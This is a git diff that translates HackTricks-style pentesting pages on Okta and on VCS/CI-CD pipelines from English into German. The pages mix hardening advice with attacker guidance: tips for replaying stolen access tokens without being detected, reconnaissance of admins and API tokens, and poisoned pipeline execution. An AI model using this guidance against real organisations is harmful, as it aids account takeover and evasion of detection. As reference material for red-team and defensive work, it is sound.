- **Avoid using** popular anonymizer proxies and VPN services when replaying captured access tokens.
|
||||
- Ensure **consistent user-agent strings** between the client and replayed access tokens.
|
||||
- **Refrain from replaying** tokens from different users from the same IP address.
|
||||
- Exercise caution when replaying tokens against the Okta dashboard.
|
||||
- If aware of the victim company's IP addresses, **restrict traffic** to those IPs or their range, blocking all other traffic.
|
||||
- **Vermeiden Sie die Verwendung** beliebter Anonymisierungsproxies und VPN-Dienste beim Wiederholen erfasster Zugriffstoken.
|
||||
- Stellen Sie sicher, dass **konsistente Benutzer-Agent-Strings** zwischen dem Client und den wiederholten Zugriffstoken bestehen.
|
||||
- **Vermeiden Sie das Wiederholen** von Tokens von verschiedenen Benutzern von derselben IP-Adresse.
|
||||
- Seien Sie vorsichtig, wenn Sie Tokens gegen das Okta-Dashboard wiederholen.
|
||||
- Wenn Sie die IP-Adressen des Opferunternehmens kennen, **beschränken Sie den Datenverkehr** auf diese IPs oder deren Bereich und blockieren Sie allen anderen Datenverkehr.
|
||||
|
||||
## Okta Hardening
|
||||
## Okta-Härtung
|
||||
|
||||
Okta has a lot of possible configurations, in this page you will find how to review them so they are as secure as possible:
|
||||
Okta hat viele mögliche Konfigurationen. Auf dieser Seite finden Sie, wie Sie diese überprüfen können, damit sie so sicher wie möglich sind:
|
||||
|
||||
{{#ref}}
|
||||
okta-hardening.md
|
||||
{{#endref}}
|
||||
|
||||
## References
|
||||
## Referenzen
|
||||
|
||||
- [https://trustedsec.com/blog/okta-for-red-teamers](https://trustedsec.com/blog/okta-for-red-teamers)
|
||||
- [https://medium.com/nickvangilder/okta-for-red-teamers-perimeter-edition-c60cb8d53f23](https://medium.com/nickvangilder/okta-for-red-teamers-perimeter-edition-c60cb8d53f23)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -6,72 +6,72 @@
|
||||
|
||||
### People
|
||||
|
||||
From an attackers perspective, this is super interesting as you will be able to see **all the users registered**, their **email** addresses, the **groups** they are part of, **profiles** and even **devices** (mobiles along with their OSs).
|
||||
Aus der Perspektive eines Angreifers ist dies super interessant, da Sie **alle registrierten Benutzer**, deren **E-Mail**-Adressen, die **Gruppen**, zu denen sie gehören, **Profile** und sogar **Geräte** (Mobilgeräte zusammen mit ihren Betriebssystemen) sehen können.
|
||||
|
||||
For a whitebox review check that there aren't several "**Pending user action**" and "**Password reset**".
|
||||
Für eine Whitebox-Überprüfung überprüfen Sie, ob es mehrere "**Ausstehende Benutzeraktionen**" und "**Passwort zurücksetzen**" gibt.
|
||||
|
||||
### Groups
|
||||
|
||||
This is where you find all the created groups in Okta. it's interesting to understand the different groups (set of **permissions**) that could be granted to **users**.\
|
||||
It's possible to see the **people included inside groups** and **apps assigned** to each group.
|
||||
Hier finden Sie alle in Okta erstellten Gruppen. Es ist interessant zu verstehen, welche verschiedenen Gruppen (Satz von **Berechtigungen**) den **Benutzern** gewährt werden könnten.\
|
||||
Es ist möglich, die **Personen innerhalb der Gruppen** und die **Apps**, die jeder Gruppe zugewiesen sind, zu sehen.
|
||||
|
||||
Ofc, any group with the name of **admin** is interesting, specially the group **Global Administrators,** check the members to learn who are the most privileged members.
|
||||
Natürlich ist jede Gruppe mit dem Namen **admin** interessant, insbesondere die Gruppe **Global Administrators**. Überprüfen Sie die Mitglieder, um herauszufinden, wer die privilegiertesten Mitglieder sind.
|
||||
|
||||
From a whitebox review, there **shouldn't be more than 5 global admins** (better if there are only 2 or 3).
|
||||
Bei einer Whitebox-Überprüfung **sollten nicht mehr als 5 globale Administratoren** vorhanden sein (besser, wenn es nur 2 oder 3 sind).
|
||||
|
||||
### Devices
|
||||
|
||||
Find here a **list of all the devices** of all the users. You can also see if it's being **actively managed** or not.
|
||||
Hier finden Sie eine **Liste aller Geräte** aller Benutzer. Sie können auch sehen, ob es **aktiv verwaltet** wird oder nicht.
|
||||
|
||||
### Profile Editor
|
||||
|
||||
Here is possible to observe how key information such as first names, last names, emails, usernames... are shared between Okta and other applications. This is interesting because if a user can **modify in Okta a field** (such as his name or email) that then is used by an **external application** to **identify** the user, an insider could try to **take over other accounts**.
|
||||
Hier ist es möglich zu beobachten, wie wichtige Informationen wie Vornamen, Nachnamen, E-Mails, Benutzernamen... zwischen Okta und anderen Anwendungen geteilt werden. Dies ist interessant, da ein Benutzer, wenn er ein Feld in Okta **ändern kann** (wie seinen Namen oder seine E-Mail), das dann von einer **externen Anwendung** zur **Identifizierung** des Benutzers verwendet wird, versuchen könnte, **andere Konten zu übernehmen**.
|
||||
|
||||
Moreover, in the profile **`User (default)`** from Okta you can see **which fields** each **user** has and which ones are **writable** by users. If you cannot see the admin panel, just go to **update your profile** information and you will see which fields you can update (note that to update an email address you will need to verify it).
|
||||
Darüber hinaus können Sie im Profil **`User (default)`** von Okta sehen, **welche Felder** jeder **Benutzer** hat und welche von Benutzern **beschreibbar** sind. Wenn Sie das Admin-Panel nicht sehen können, gehen Sie einfach zu **aktualisieren Sie Ihre Profil**-Informationen, und Sie werden sehen, welche Felder Sie aktualisieren können (beachten Sie, dass Sie eine E-Mail-Adresse verifizieren müssen, um sie zu aktualisieren).
|
||||
|
||||
### Directory Integrations
|
||||
|
||||
Directories allow you to import people from existing sources. I guess here you will see the users imported from other directories.
|
||||
Verzeichnisse ermöglichen es Ihnen, Personen aus bestehenden Quellen zu importieren. Ich nehme an, hier sehen Sie die Benutzer, die aus anderen Verzeichnissen importiert wurden.
|
||||
|
||||
I haven't seen it, but I guess this is interesting to find out **other directories that Okta is using to import users** so if you **compromise that directory** you could set some attributes values in the users created in Okta and **maybe compromise the Okta env**.
|
||||
Ich habe es nicht gesehen, aber ich nehme an, dass es interessant ist, **andere Verzeichnisse zu finden, die Okta verwendet, um Benutzer zu importieren**, sodass Sie, wenn Sie **dieses Verzeichnis kompromittieren**, einige Attributwerte in den in Okta erstellten Benutzern festlegen und **vielleicht die Okta-Umgebung kompromittieren** könnten.
|
||||
|
||||
### Profile Sources
|
||||
|
||||
A profile source is an **application that acts as a source of truth** for user profile attributes. A user can only be sourced by a single application or directory at a time.
|
||||
Eine Profilquelle ist eine **Anwendung, die als Quelle der Wahrheit** für Benutzerprofilattribute fungiert. Ein Benutzer kann nur von einer einzigen Anwendung oder einem Verzeichnis gleichzeitig bezogen werden.
|
||||
|
||||
I haven't seen it, so any information about security and hacking regarding this option is appreciated.
|
||||
Ich habe es nicht gesehen, daher sind alle Informationen über Sicherheit und Hacking in Bezug auf diese Option willkommen.
|
||||
|
||||
## Customizations
|
||||
|
||||
### Brands
|
||||
|
||||
Check in the **Domains** tab of this section the email addresses used to send emails and the custom domain inside Okta of the company (which you probably already know).
|
||||
Überprüfen Sie im Tab **Domains** dieses Abschnitts die E-Mail-Adressen, die zum Versenden von E-Mails verwendet werden, und die benutzerdefinierte Domain innerhalb von Okta des Unternehmens (die Sie wahrscheinlich bereits kennen).
|
||||
|
||||
Moreover, in the **Setting** tab, if you are admin, you can "**Use a custom sign-out page**" and set a custom URL.
|
||||
Darüber hinaus können Sie im Tab **Setting**, wenn Sie Administrator sind, "**Eine benutzerdefinierte Abmeldeseite verwenden**" und eine benutzerdefinierte URL festlegen.
|
||||
|
||||
### SMS
|
||||
|
||||
Nothing interesting here.
|
||||
Hier gibt es nichts Interessantes.
|
||||
|
||||
### End-User Dashboard
|
||||
|
||||
You can find here applications configured, but we will see the details of those later in a different section.
|
||||
Hier finden Sie konfigurierte Anwendungen, aber wir werden die Details später in einem anderen Abschnitt sehen.
|
||||
|
||||
### Other
|
||||
|
||||
Interesting setting, but nothing super interesting from a security point of view.
|
||||
Interessante Einstellung, aber nichts super Interessantes aus Sicht der Sicherheit.
|
||||
|
||||
## Applications
|
||||
|
||||
### Applications
|
||||
|
||||
Here you can find all the **configured applications** and their details: Who has access to them, how is it configured (SAML, OPenID), URL to login, the mappings between Okta and the application...
|
||||
Hier finden Sie alle **konfigurierten Anwendungen** und deren Details: Wer Zugriff auf sie hat, wie sie konfiguriert sind (SAML, OpenID), URL zum Anmelden, die Zuordnungen zwischen Okta und der Anwendung...
|
||||
|
||||
In the **`Sign On`** tab there is also a field called **`Password reveal`** that would allow a user to **reveal his password** when checking the application settings. To check the settings of an application from the User Panel, click the 3 dots:
|
||||
Im Tab **`Sign On`** gibt es auch ein Feld namens **`Password reveal`**, das es einem Benutzer ermöglichen würde, sein **Passwort** beim Überprüfen der Anwendungseinstellungen **offen zu legen**. Um die Einstellungen einer Anwendung vom Benutzerpanel aus zu überprüfen, klicken Sie auf die 3 Punkte:
|
||||
|
||||
<figure><img src="../../images/image (283).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
And you could see some more details about the app (like the password reveal feature, if it's enabled):
|
||||
Und Sie könnten einige weitere Details zur App sehen (wie die Passwort-Offenlegungsfunktion, ob sie aktiviert ist):
|
||||
|
||||
<figure><img src="../../images/image (220).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
@@ -79,125 +79,121 @@ And you could see some more details about the app (like the password reveal feat
|
||||
|
||||
### Access Certifications
|
||||
|
||||
Use Access Certifications to create audit campaigns to review your users' access to resources periodically and approve or revoke access automatically when required.
|
||||
Verwenden Sie Access Certifications, um Auditkampagnen zu erstellen, um den Zugriff Ihrer Benutzer auf Ressourcen regelmäßig zu überprüfen und den Zugriff automatisch zu genehmigen oder zu widerrufen, wenn dies erforderlich ist.
|
||||
|
||||
I haven't seen it used, but I guess that from a defensive point of view it's a nice feature.
|
||||
Ich habe es nicht gesehen, aber ich nehme an, dass es aus defensiver Sicht eine nette Funktion ist.
|
||||
|
||||
## Security
|
||||
|
||||
### General
|
||||
|
||||
- **Security notification emails**: All should be enabled.
|
||||
- **CAPTCHA integration**: It's recommended to set at least the invisible reCaptcha
|
||||
- **Organization Security**: Everything can be enabled and activation emails shouldn't last long (7 days is ok)
|
||||
- **User enumeration prevention**: Both should be enabled
|
||||
- Note that User Enumeration Prevention doesn't take effect if either of the following conditions are allowed (See [User management](https://help.okta.com/oie/en-us/Content/Topics/users-groups-profiles/usgp-main.htm) for more information):
|
||||
- Self-Service Registration
|
||||
- JIT flows with email authentication
|
||||
- **Okta ThreatInsight settings**: Log and enforce security based on threat level
|
||||
- **Sicherheitsbenachrichtigungs-E-Mails**: Alle sollten aktiviert sein.
|
||||
- **CAPTCHA-Integration**: Es wird empfohlen, mindestens das unsichtbare reCaptcha einzustellen.
|
||||
- **Organisationssicherheit**: Alles kann aktiviert werden, und Aktivierungs-E-Mails sollten nicht lange dauern (7 Tage sind in Ordnung).
|
||||
- **Benutzernummernverhinderung**: Beide sollten aktiviert sein.
|
||||
- Beachten Sie, dass die Benutzernummernverhinderung nicht wirksam wird, wenn eine der folgenden Bedingungen erlaubt ist (siehe [Benutzerverwaltung](https://help.okta.com/oie/en-us/Content/Topics/users-groups-profiles/usgp-main.htm) für weitere Informationen):
|
||||
- Selbstregistrierung
|
||||
- JIT-Flüsse mit E-Mail-Authentifizierung
|
||||
- **Okta ThreatInsight-Einstellungen**: Protokollieren und Durchsetzen von Sicherheit basierend auf dem Bedrohungsniveau.
|
||||
|
||||
### HealthInsight
|
||||
|
||||
Here is possible to find correctly and **dangerous** configured **settings**.
|
||||
Hier ist es möglich, korrekt und **gefährlich** konfigurierte **Einstellungen** zu finden.
|
||||
|
||||
### Authenticators
|
||||
|
||||
Here you can find all the authentication methods that a user could use: Password, phone, email, code, WebAuthn... Clicking in the Password authenticator you can see the **password policy**. Check that it's strong.
|
||||
Hier finden Sie alle Authentifizierungsmethoden, die ein Benutzer verwenden könnte: Passwort, Telefon, E-Mail, Code, WebAuthn... Wenn Sie auf den Passwort-Authenticator klicken, können Sie die **Passwortrichtlinie** sehen. Überprüfen Sie, ob sie stark ist.
|
||||
|
||||
In the **Enrollment** tab you can see how the ones that are required or optinal:
|
||||
Im Tab **Enrollment** können Sie sehen, welche erforderlich oder optional sind:
|
||||
|
||||
<figure><img src="../../images/image (143).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
It's recommendatble to disable Phone. The strongest ones are probably a combination of password, email and WebAuthn.
|
||||
Es wird empfohlen, das Telefon zu deaktivieren. Die stärksten sind wahrscheinlich eine Kombination aus Passwort, E-Mail und WebAuthn.
|
||||
|
||||
### Authentication policies
|
||||
|
||||
Every app has an authentication policy. The authentication policy verifies that users who try to sign in to the app meet specific conditions, and it enforces factor requirements based on those conditions.
|
||||
Jede App hat eine Authentifizierungsrichtlinie. Die Authentifizierungsrichtlinie überprüft, ob Benutzer, die versuchen, sich bei der App anzumelden, bestimmte Bedingungen erfüllen, und sie erzwingt Faktoranforderungen basierend auf diesen Bedingungen.
|
||||
|
||||
Here you can find the **requirements to access each application**. It's recommended to request at least password and another method for each application. But if as attacker you find something more weak you might be able to attack it.
|
||||
Hier finden Sie die **Anforderungen für den Zugriff auf jede Anwendung**. Es wird empfohlen, mindestens ein Passwort und eine andere Methode für jede Anwendung anzufordern. Aber wenn Sie als Angreifer etwas Schwächeres finden, könnten Sie es angreifen.
|
||||
|
||||
### Global Session Policy
|
||||
|
||||
Here you can find the session policies assigned to different groups. For example:
|
||||
Hier finden Sie die Sitzungspolitiken, die verschiedenen Gruppen zugewiesen sind. Zum Beispiel:
|
||||
|
||||
<figure><img src="../../images/image (245).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
It's recommended to request MFA, limit the session lifetime to some hours, don't persis session cookies across browser extensions and limit the location and Identity Provider (if this is possible). For example, if every user should be login from a country you could only allow this location.
|
||||
Es wird empfohlen, MFA anzufordern, die Sitzungsdauer auf einige Stunden zu beschränken, Sitzungscookies nicht über Browsererweiterungen hinweg zu speichern und den Standort und den Identitätsanbieter (wenn dies möglich ist) zu beschränken. Wenn jeder Benutzer beispielsweise aus einem bestimmten Land anmelden sollte, könnten Sie nur diesen Standort zulassen.
|
||||
|
||||
### Identity Providers
|
||||
|
||||
Identity Providers (IdPs) are services that **manage user accounts**. Adding IdPs in Okta enables your end users to **self-register** with your custom applications by first authenticating with a social account or a smart card.
|
||||
Identitätsanbieter (IdPs) sind Dienste, die **Benutzerkonten verwalten**. Das Hinzufügen von IdPs in Okta ermöglicht es Ihren Endbenutzern, sich mit Ihren benutzerdefinierten Anwendungen selbst zu registrieren, indem sie sich zuerst mit einem sozialen Konto oder einer Smartcard authentifizieren.
|
||||
|
||||
On the Identity Providers page, you can add social logins (IdPs) and configure Okta as a service provider (SP) by adding inbound SAML. After you've added IdPs, you can set up routing rules to direct users to an IdP based on context, such as the user's location, device, or email domain.
|
||||
Auf der Seite der Identitätsanbieter können Sie soziale Anmeldungen (IdPs) hinzufügen und Okta als Dienstanbieter (SP) konfigurieren, indem Sie eingehendes SAML hinzufügen. Nachdem Sie IdPs hinzugefügt haben, können Sie Routingregeln einrichten, um Benutzer basierend auf dem Kontext, wie dem Standort, dem Gerät oder der E-Mail-Domain des Benutzers, an einen IdP weiterzuleiten.
|
||||
|
||||
**If any identity provider is configured** from an attackers and defender point of view check that configuration and **if the source is really trustable** as an attacker compromising it could also get access to the Okta environment.
|
||||
**Wenn ein Identitätsanbieter konfiguriert ist**, überprüfen Sie aus der Perspektive eines Angreifers und Verteidigers diese Konfiguration und **ob die Quelle wirklich vertrauenswürdig ist**, da ein Angreifer, der sie kompromittiert, auch Zugriff auf die Okta-Umgebung erhalten könnte.
|
||||
|
||||
### Delegated Authentication
|
||||
|
||||
Delegated authentication allows users to sign in to Okta by entering credentials for their organization's **Active Directory (AD) or LDAP** server.
|
||||
Die delegierte Authentifizierung ermöglicht es Benutzern, sich bei Okta anzumelden, indem sie Anmeldeinformationen für den **Active Directory (AD) oder LDAP**-Server ihrer Organisation eingeben.
|
||||
|
||||
Again, recheck this, as an attacker compromising an organizations AD could be able to pivot to Okta thanks to this setting.
|
||||
Überprüfen Sie dies erneut, da ein Angreifer, der das AD einer Organisation kompromittiert, möglicherweise über diese Einstellung zu Okta pivotieren könnte.
|
||||
|
||||
### Network
|
||||
|
||||
A network zone is a configurable boundary that you can use to **grant or restrict access to computers and devices** in your organization based on the **IP address** that is requesting access. You can define a network zone by specifying one or more individual IP addresses, ranges of IP addresses, or geographic locations.
|
||||
Eine Netzwerkzone ist eine konfigurierbare Grenze, die Sie verwenden können, um **Zugriff auf Computer und Geräte** in Ihrer Organisation basierend auf der **IP-Adresse**, die Zugriff anfordert, zu **gewähren oder einzuschränken**. Sie können eine Netzwerkzone definieren, indem Sie eine oder mehrere einzelne IP-Adressen, IP-Adressbereiche oder geografische Standorte angeben.
|
||||
|
||||
After you define one or more network zones, you can **use them in Global Session Policies**, **authentication policies**, VPN notifications, and **routing rules**.
|
||||
Nachdem Sie eine oder mehrere Netzwerkzonen definiert haben, können Sie **sie in globalen Sitzungspolitiken**, **Authentifizierungsrichtlinien**, VPN-Benachrichtigungen und **Routingregeln** verwenden.
|
||||
|
||||
From an attackers perspective it's interesting to know which Ps are allowed (and check if any **IPs are more privileged** than others). From an attackers perspective, if the users should be accessing from an specific IP address or region check that this feature is used properly.
|
||||
Aus der Perspektive eines Angreifers ist es interessant zu wissen, welche IPs erlaubt sind (und zu überprüfen, ob einige **IPs privilegierter** sind als andere). Aus der Perspektive eines Angreifers, wenn die Benutzer von einer bestimmten IP-Adresse oder Region aus zugreifen sollten, überprüfen Sie, ob diese Funktion ordnungsgemäß verwendet wird.
|
||||
|
||||
### Device Integrations
|
||||
|
||||
- **Endpoint Management**: Endpoint management is a condition that can be applied in an authentication policy to ensure that managed devices have access to an application.
|
||||
- I haven't seen this used yet. TODO
|
||||
- **Notification services**: I haven't seen this used yet. TODO
|
||||
- **Endpoint Management**: Endpoint Management ist eine Bedingung, die in einer Authentifizierungsrichtlinie angewendet werden kann, um sicherzustellen, dass verwaltete Geräte Zugriff auf eine Anwendung haben.
|
||||
- Ich habe dies noch nicht gesehen. TODO
|
||||
- **Benachrichtigungsdienste**: Ich habe dies noch nicht gesehen. TODO
|
||||
|
||||
### API
|
||||
|
||||
You can create Okta API tokens in this page, and see the ones that have been **created**, theirs **privileges**, **expiration** time and **Origin URLs**. Note that an API tokens are generated with the permissions of the user that created the token and are valid only if the **user** who created them is **active**.
|
||||
Sie können auf dieser Seite Okta-API-Token erstellen und die **erstellten** Token, deren **Berechtigungen**, **Ablauf**-Zeit und **Ursprungs-URLs** sehen. Beachten Sie, dass API-Token mit den Berechtigungen des Benutzers generiert werden, der das Token erstellt hat, und nur gültig sind, wenn der **Benutzer**, der sie erstellt hat, **aktiv** ist.
|
||||
|
||||
The **Trusted Origins** grant access to websites that you control and trust to access your Okta org through the Okta API.
|
||||
Die **Trusted Origins** gewähren Zugriff auf Websites, die Sie kontrollieren und denen Sie vertrauen, um auf Ihre Okta-Organisation über die Okta-API zuzugreifen.
|
||||
|
||||
There shuoldn't be a lot of API tokens, as if there are an attacker could try to access them and use them.
|
||||
Es sollten nicht viele API-Token vorhanden sein, da ein Angreifer, wenn es viele gibt, versuchen könnte, auf sie zuzugreifen und sie zu verwenden.
|
||||
|
||||
## Workflow
|
||||
|
||||
### Automations
|
||||
|
||||
Automations allow you to create automated actions that run based on a set of trigger conditions that occur during the lifecycle of end users.
|
||||
Automatisierungen ermöglichen es Ihnen, automatisierte Aktionen zu erstellen, die basierend auf einer Reihe von Auslösebedingungen ausgeführt werden, die während des Lebenszyklus der Endbenutzer auftreten.
|
||||
|
||||
For example a condition could be "User inactivity in Okta" or "User password expiration in Okta" and the action could be "Send email to the user" or "Change user lifecycle state in Okta".
|
||||
Ein Beispiel für eine Bedingung könnte "Benutzerinaktivität in Okta" oder "Ablauf des Benutzerpassworts in Okta" sein, und die Aktion könnte "E-Mail an den Benutzer senden" oder "Ändern des Benutzerlebenszyklusstatus in Okta" sein.
|
||||
|
||||
## Reports
|
||||
|
||||
### Reports
|
||||
|
||||
Download logs. They are **sent** to the **email address** of the current account.
|
||||
Laden Sie Protokolle herunter. Sie werden an die **E-Mail-Adresse** des aktuellen Kontos **gesendet**.
|
||||
|
||||
### System Log
|
||||
|
||||
Here you can find the **logs of the actions performed by users** with a lot of details like login in Okta or in applications through Okta.
|
||||
Hier finden Sie die **Protokolle der von Benutzern durchgeführten Aktionen** mit vielen Details wie Anmeldungen in Okta oder in Anwendungen über Okta.
|
||||
|
||||
### Import Monitoring
|
||||
|
||||
This can **import logs from the other platforms** accessed with Okta.
|
||||
Dies kann **Protokolle von anderen Plattformen importieren**, die mit Okta aufgerufen wurden.
|
||||
|
||||
### Rate limits
|
||||
|
||||
Check the API rate limits reached.
|
||||
Überprüfen Sie die erreichten API-Rate-Limits.
|
||||
|
||||
## Settings
|
||||
|
||||
### Account
|
||||
|
||||
Here you can find **generic information** about the Okta environment, such as the company name, address, **email billing contact**, **email technical contact** and also who should receive Okta updates and which kind of Okta updates.
|
||||
Hier finden Sie **allgemeine Informationen** über die Okta-Umgebung, wie den Firmennamen, die Adresse, **E-Mail-Rechnungsadresse**, **E-Mail-technischer Kontakt** und auch, wer Okta-Updates erhalten sollte und welche Art von Okta-Updates.
|
||||
|
||||
### Downloads
|
||||
|
||||
Here you can download Okta agents to sync Okta with other technologies.
|
||||
Hier können Sie Okta-Agents herunterladen, um Okta mit anderen Technologien zu synchronisieren.
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -6,103 +6,99 @@
|
||||
|
||||
## VCS
|
||||
|
||||
VCS stands for **Version Control System**, this systems allows developers to **manage their source code**. The most common one is **git** and you will usually find companies using it in one of the following **platforms**:
|
||||
VCS steht für **Version Control System**, dieses System ermöglicht Entwicklern, ihren **Quellcode zu verwalten**. Das gebräuchlichste ist **git** und Sie werden normalerweise Unternehmen finden, die es auf einer der folgenden **Plattformen** verwenden:
|
||||
|
||||
- Github
|
||||
- Gitlab
|
||||
- Bitbucket
|
||||
- Gitea
|
||||
- Cloud providers (they offer their own VCS platforms)
|
||||
- Cloud-Anbieter (sie bieten ihre eigenen VCS-Plattformen an)
|
||||
|
||||
## CI/CD Pipelines
|
||||
|
||||
CI/CD pipelines enable developers to **automate the execution of code** for various purposes, including building, testing, and deploying applications. These automated workflows are **triggered by specific actions**, such as code pushes, pull requests, or scheduled tasks. They are useful for streamlining the process from development to production.
|
||||
CI/CD-Pipelines ermöglichen es Entwicklern, die **Ausführung von Code** für verschiedene Zwecke zu **automatisieren**, einschließlich des Erstellens, Testens und Bereitstellens von Anwendungen. Diese automatisierten Workflows werden durch **spezifische Aktionen** ausgelöst, wie z.B. Code-Pushes, Pull-Requests oder geplante Aufgaben. Sie sind nützlich, um den Prozess von der Entwicklung bis zur Produktion zu optimieren.
|
||||
|
||||
However, these systems need to be **executed somewhere** and usually with **privileged credentials to deploy code or access sensitive information**.
|
||||
Diese Systeme müssen jedoch **irgendwo ausgeführt werden** und normalerweise mit **privilegierten Anmeldeinformationen, um Code bereitzustellen oder auf sensible Informationen zuzugreifen**.
|
||||
|
||||
## VCS Pentesting Methodology
|
||||
|
||||
> [!NOTE]
|
||||
> Even if some VCS platforms allow to create pipelines for this section we are going to analyze only potential attacks to the control of the source code.
|
||||
> Auch wenn einige VCS-Plattformen das Erstellen von Pipelines erlauben, werden wir in diesem Abschnitt nur potenzielle Angriffe auf die Kontrolle des Quellcodes analysieren.
|
||||
|
||||
Platforms that contains the source code of your project contains sensitive information and people need to be very careful with the permissions granted inside this platform. These are some common problems across VCS platforms that attacker could abuse:
|
||||
Plattformen, die den Quellcode Ihres Projekts enthalten, enthalten sensible Informationen, und die Menschen müssen sehr vorsichtig mit den innerhalb dieser Plattform gewährten Berechtigungen sein. Dies sind einige häufige Probleme auf VCS-Plattformen, die Angreifer ausnutzen könnten:
|
||||
|
||||
- **Leaks**: If your code contains leaks in the commits and the attacker can access the repo (because it's public or because he has access), he could discover the leaks.
|
||||
- **Access**: If an attacker can **access to an account inside the VCS platform** he could gain **more visibility and permissions**.
|
||||
- **Register**: Some platforms will just allow external users to create an account.
|
||||
- **SSO**: Some platforms won't allow users to register, but will allow anyone to access with a valid SSO (so an attacker could use his github account to enter for example).
|
||||
- **Credentials**: Username+Pwd, personal tokens, ssh keys, Oauth tokens, cookies... there are several kind of tokens a user could steal to access in some way a repo.
|
||||
- **Webhooks**: VCS platforms allow to generate webhooks. If they are **not protected** with non visible secrets an **attacker could abuse them**.
|
||||
- If no secret is in place, the attacker could abuse the webhook of the third party platform
|
||||
- If the secret is in the URL, the same happens and the attacker also have the secret
|
||||
- **Code compromise:** If a malicious actor has some kind of **write** access over the repos, he could try to **inject malicious code**. In order to be successful he might need to **bypass branch protections**. These actions can be performed with different goals in mid:
|
||||
- Compromise the main branch to **compromise production**.
|
||||
- Compromise the main (or other branches) to **compromise developers machines** (as they usually execute test, terraform or other things inside the repo in their machines).
|
||||
- **Compromise the pipeline** (check next section)
|
||||
- **Leaks**: Wenn Ihr Code Leaks in den Commits enthält und der Angreifer auf das Repo zugreifen kann (weil es öffentlich ist oder weil er Zugriff hat), könnte er die Leaks entdecken.
|
||||
- **Zugriff**: Wenn ein Angreifer **Zugriff auf ein Konto innerhalb der VCS-Plattform** hat, könnte er **mehr Sichtbarkeit und Berechtigungen** erlangen.
|
||||
- **Registrierung**: Einige Plattformen erlauben externen Benutzern nur, ein Konto zu erstellen.
|
||||
- **SSO**: Einige Plattformen erlauben es Benutzern nicht, sich zu registrieren, erlauben jedoch jedem, mit einem gültigen SSO zuzugreifen (ein Angreifer könnte beispielsweise sein Github-Konto verwenden, um einzutreten).
|
||||
- **Anmeldeinformationen**: Benutzername+Pwd, persönliche Tokens, ssh-Schlüssel, Oauth-Tokens, Cookies... es gibt verschiedene Arten von Tokens, die ein Benutzer stehlen könnte, um auf irgendeine Weise auf ein Repo zuzugreifen.
|
||||
- **Webhooks**: VCS-Plattformen erlauben das Generieren von Webhooks. Wenn sie **nicht geschützt** sind mit nicht sichtbaren Geheimnissen, könnte ein **Angreifer sie ausnutzen**.
|
||||
- Wenn kein Geheimnis vorhanden ist, könnte der Angreifer den Webhook der Drittanbieterplattform ausnutzen.
|
||||
- Wenn das Geheimnis in der URL ist, passiert dasselbe und der Angreifer hat auch das Geheimnis.
|
||||
- **Code-Kompromittierung:** Wenn ein böswilliger Akteur eine Art von **Schreibzugriff** auf die Repos hat, könnte er versuchen, **bösartigen Code einzuschleusen**. Um erfolgreich zu sein, muss er möglicherweise **Branch-Schutzmaßnahmen umgehen**. Diese Aktionen können mit verschiedenen Zielen im Hinterkopf durchgeführt werden:
|
||||
- Kompromittierung des Hauptzweigs, um **die Produktion zu gefährden**.
|
||||
- Kompromittierung des Hauptzweigs (oder anderer Zweige), um **Entwicklermaschinen zu gefährden** (da sie normalerweise Tests, Terraform oder andere Dinge innerhalb des Repos auf ihren Maschinen ausführen).
|
||||
- **Kompromittierung der Pipeline** (siehe nächsten Abschnitt).
|
||||
|
||||
## Pipelines Pentesting Methodology
|
||||
|
||||
The most common way to define a pipeline, is by using a **CI configuration file hosted in the repository** the pipeline builds. This file describes the order of executed jobs, conditions that affect the flow, and build environment settings.\
|
||||
These files typically have a consistent name and format, for example — Jenkinsfile (Jenkins), .gitlab-ci.yml (GitLab), .circleci/config.yml (CircleCI), and the GitHub Actions YAML files located under .github/workflows. When triggered, the pipeline job **pulls the code** from the selected source (e.g. commit / branch), and **runs the commands specified in the CI configuration file** against that code.
|
||||
Der gebräuchlichste Weg, eine Pipeline zu definieren, besteht darin, eine **CI-Konfigurationsdatei, die im Repository gehostet wird**, zu verwenden, das die Pipeline erstellt. Diese Datei beschreibt die Reihenfolge der ausgeführten Jobs, Bedingungen, die den Ablauf beeinflussen, und Einstellungen der Build-Umgebung.\
|
||||
Diese Dateien haben typischerweise einen konsistenten Namen und ein konsistentes Format, zum Beispiel — Jenkinsfile (Jenkins), .gitlab-ci.yml (GitLab), .circleci/config.yml (CircleCI) und die GitHub Actions YAML-Dateien, die sich unter .github/workflows befinden. Wenn sie ausgelöst werden, **zieht der Pipeline-Job den Code** aus der ausgewählten Quelle (z.B. Commit / Branch) und **führt die im CI-Konfigurationsdatei angegebenen Befehle** gegen diesen Code aus.
|
||||
|
||||
Therefore the ultimate goal of the attacker is to somehow **compromise those configuration files** or the **commands they execute**.
|
||||
Daher ist das ultimative Ziel des Angreifers, irgendwie **diese Konfigurationsdateien** oder die **Befehle, die sie ausführen**, zu **kompromittieren**.
|
||||
|
||||
### PPE - Poisoned Pipeline Execution
|
||||
|
||||
The Poisoned Pipeline Execution (PPE) path exploits permissions in an SCM repository to manipulate a CI pipeline and execute harmful commands. Users with the necessary permissions can modify CI configuration files or other files used by the pipeline job to include malicious commands. This "poisons" the CI pipeline, leading to the execution of these malicious commands.
|
||||
Der Poisoned Pipeline Execution (PPE) Pfad nutzt Berechtigungen in einem SCM-Repository aus, um eine CI-Pipeline zu manipulieren und schädliche Befehle auszuführen. Benutzer mit den erforderlichen Berechtigungen können CI-Konfigurationsdateien oder andere Dateien, die vom Pipeline-Job verwendet werden, ändern, um bösartige Befehle einzufügen. Dies "vergiftet" die CI-Pipeline und führt zur Ausführung dieser bösartigen Befehle.
|
||||
|
||||
For a malicious actor to be successful performing a PPE attack he needs to be able to:
|
||||
Damit ein böswilliger Akteur bei einem PPE-Angriff erfolgreich ist, muss er in der Lage sein:
|
||||
|
||||
- Have **write access to the VCS platform**, as usually pipelines are triggered when a push or a pull request is performed. (Check the VCS pentesting methodology for a summary of ways to get access).
|
||||
- Note that sometimes an **external PR count as "write access"**.
|
||||
- Even if he has write permissions, he needs to be sure he can **modify the CI config file or other files the config is relying on**.
|
||||
- For this, he might need to be able to **bypass branch protections**.
|
||||
